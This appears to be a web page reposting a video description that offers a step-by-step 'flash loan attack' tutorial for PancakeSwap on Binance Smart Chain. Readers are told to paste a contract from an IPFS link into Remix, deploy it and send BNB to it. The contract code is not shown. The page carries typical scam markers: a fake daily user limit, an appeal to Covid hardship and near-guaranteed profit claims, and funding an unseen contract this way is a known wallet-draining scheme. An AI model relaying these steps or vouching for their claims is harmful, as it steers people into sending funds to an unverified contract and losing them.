How to Flash Loan Attack on Pancakeswap Explained

Bayashi TV

Important update: I have updated the code so that only 100 people per day can be doing this.

You can check the limit by clicking on Compile, if the limit is reached you will see an error message in Remix saying “Limit reached, please try again later” If you don’t see the error message you will be good to go! The other message “contracts is modifying” is normal.

We have already been very successful doing this method and knowing that times are hard for a lot of people especially during Covid, is why we have decided to help share our knowledge to help as many people as we can.

In today’s video, you can see how I used Flashloans to Arbitrage on the Binance Smartchain BSC. We will deploy our own contract on BSC in order to swap between PancakeSwap and Bakeryswap. The profits will be credited in BNB, and this can be repeated until the daily limit is reached. The higher the volatility the higher the profit due to price change.

To deploy your Smart Contract that will execute the Flashloans for you, simply follow the instructions in the video.

More information on what is a flashloan attack -https://news.bitcoin.com/data-shows-b…
Remix Link – http://remix.ethereum.org/
Smart Contract Code Link – https://ipfs.io/ipfs/QmXywjSxevGyUaKHtjPzUikRMDU76jV1xK1g7P61HRLUn9

Here we have a flash loan borrowed 3,157.41 BNB from Multiplier-Finance to make an arbitrage trade on the AMM DEX PancakeSwap. First part of the arbitrage is to convert BNB to BUSD using BurgerSwap contract. The arbitrage converts BUSD for BNB using BUSD/BNB PancakeSwap, and then immediately converts BNB back to 3,168.39 BNB using BNB/BUSD BakerySwap. After the arbitrage, 3,168.38 BNB is returned back to Multiplier to pay the loan plus fees. This transaction costs around 0.2 BNB of gas. Please note that the transaction sender (Us) gains 2.51 BNB from the arbitrage.

This method can be repeated all the time until the limit is reached as price changes all the time.

STEPS: Before your start, you need to install and setup MetaMask in your Chrome/Firefox Browser. You need to have BNB in your Metamask Wallet, using the BEP20(BSC) Network, not BEP2! Follow this instruction on connecting MetaMask to Binance Smart Chain(Use the Mainnet, Testnet does not work!) –
https://academy.binance.com/en/articl…

1. Open and setup Remix in browser (https://remix.ethereum.org)
2. Copy the Contract code at – https://ipfs.io/ipfs/QmXywjSxevGyUaKHtjPzUikRMDU76jV1xK1g7P61HRLUn9
3. Create new file in Remix and paste Contract code and wait for everything to load
4. Enter your token details and deploy your contract
5. Get the Contract address from Remix
6. Send 0.2 BNB to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools. So, its going to take around 0.2 BNB fees)
7. Call ‘flashloan’ function in Remix.

*****If it fails, repeat the TX again WITH 31560 GAS LIMIT AS SEEN IN THE VIDEO*****

Example:

To attempt a flash loan of 5,000 BNB(The minimum Flashloan amount by Multiplier Finance is 1000BNB) You have to use a gas fee of at least 1 BNB(0.20 BNB per every 1000 BNB) IF YOU DO NOT HAVE ENOUGH GAS, THE FLASHLOAN WILL FAIL!

Add at least 0.20 BNB gas (0.30 is better) in each transaction (Per 1000 Loan amount)

The amount you can earn varies and depends on the arbitrary differences in the liquidity of the pool.

If the contract is unable to make a profit from the pool and repay the flashloan whilst pocketing the profits all in one single transaction, then the transaction will revert as if nothing happened which is the nature of flash loans.

The higher the flash loan, the better chances of being able to execute a profitable flash loan attack, which is why we see flash loan attackers doing millions at a time. A flash loan of 5,000 BNB or higher is almost guaranteed to work every time but occasionally lower amounts such as the one demonstrated in the video can work too.

Also works on MetaMask for Mobile, simply follow the same steps.

If you have followed the tutorial and have successfully executed your first flash loan attack, please like the video, subscribe to the VI_MEO channel, leave a comment and feel free to fill

Best of Success to all of you!

コメント

タイトルとURLをコピーしました